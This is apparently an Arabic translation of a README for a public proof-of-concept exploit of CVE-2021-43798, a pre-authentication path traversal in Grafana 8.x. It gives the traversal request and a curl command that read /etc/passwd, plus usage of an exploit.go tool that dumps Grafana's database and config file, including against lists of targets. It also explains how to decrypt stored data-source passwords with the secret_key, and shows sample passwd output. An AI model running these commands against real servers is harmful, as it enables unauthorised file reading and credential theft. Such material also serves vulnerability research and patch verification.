
CVE-2021-43798 - Grafana 8.x اجتياز المسار (قبل المصادقة)
Grafana 8.x Path Traversal (Pre-Auth)
كل الفضل يعود إلى j0v وتغريدته https://twitter.com/j0v0x0/status/1466845212626542607
هذا لأغراض تعليمية فقط. لست مسؤولاً عن أفعالك. استخدمه على مسؤوليتك الخاصة.
بحسن نية، امتنعت عن نشر هذا الـ PoC حتى يصبح هذا الثغر الأمني عاماً أو يتوفر تصحيح.
لاحظت تغريدة من j0v يدّعي فيها اكتشاف ثغرة path traversal في Grafana. بدافع الفضول، بدأت بالنظر في الكود المصدري لـ Grafana. في التغريدة، ذُكر أنها ثغرة pre-auth. هناك فقط عدد قليل من نقاط نهاية الـ API العامة في Grafana، وواحدة فقط من هذه النقاط تأخذ مسار ملف من المستخدم.
لدى Grafana نقطة نهاية API عامة، /public/plugins/:pluginId، والتي تسمح لك بعرض أصول إضافة (plugin). يعمل هذا
من خلال توفير :pluginId صالح ومن ثم تحديد مسار الملف، مثل img/logo.png. ومع ذلك، يفشل Grafana في
تنظيف مسار الملف المقدم من المستخدم، مما يؤدي إلى path traversal.
الدليل الذي يتم الوصول إليه هو <grafana>/public/app/plugins/panel/<pluginId>. في تثبيت Grafana القياسي،
دليل بيانات Grafana هو /usr/share/grafana. لذا من خلال الرجوع 8 أدلة، يمكنك الوصول إلى الدليل الجذر
لملفات النظام.
طلب HTTP:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
الكود المخالف: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
ملاحظة: هذا لا يعمل في المتصفح (الذي يقوم تلقائياً بدمج ../ في المسار)
يمكن اختباره باستخدام curl عبر الوسيط --path-as-is:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
هذه بعض الهجمات التي يمكن تنفيذها باستخدام هذه الثغرة الأمنية
يستخدم Grafana، افتراضياً، قاعدة بيانات sqlite3. يتم تخزينها في /var/lib/grafana/grafana.db. يمكنك استخدام
سكربت exploit.go لتفريغ هذه القاعدة
مثال:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
يمكنك بعد ذلك قراءة هذه القاعدة للحصول على المستخدمين، ورموز المصادقة، ومصادر البيانات.
يخزن Grafana إعداداته في ملف <grafana>/conf/defaults.ini. هناك بضع قيم مثيرة للاهتمام هنا
مثل secret_key, host user password إذا كنت تستخدم mysql بدلاً من sqlite3.
مثال:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
يقوم Grafana بتشفير جميع كلمات مرور مصادر البيانات باستخدام AES-256-CBC وباستخدام secret_key في ملف إعدادات defaults.ini.
يمكننا تفريغ ملف الإعدادات هذا، كما هو موضح أعلاه، ومن ثم فك تشفير القيم من القاعدة.
يخزن Grafana رموز الجلسة في الجدول auth_tokens. لم أتمكن من الاستيلاء على جلسة، لكن إذا قرأت
الكود المصدري، يمكنك اكتشاف كيفية ذلك.
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
ملاحظة: لا يعمل مع أهداف متعددة
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build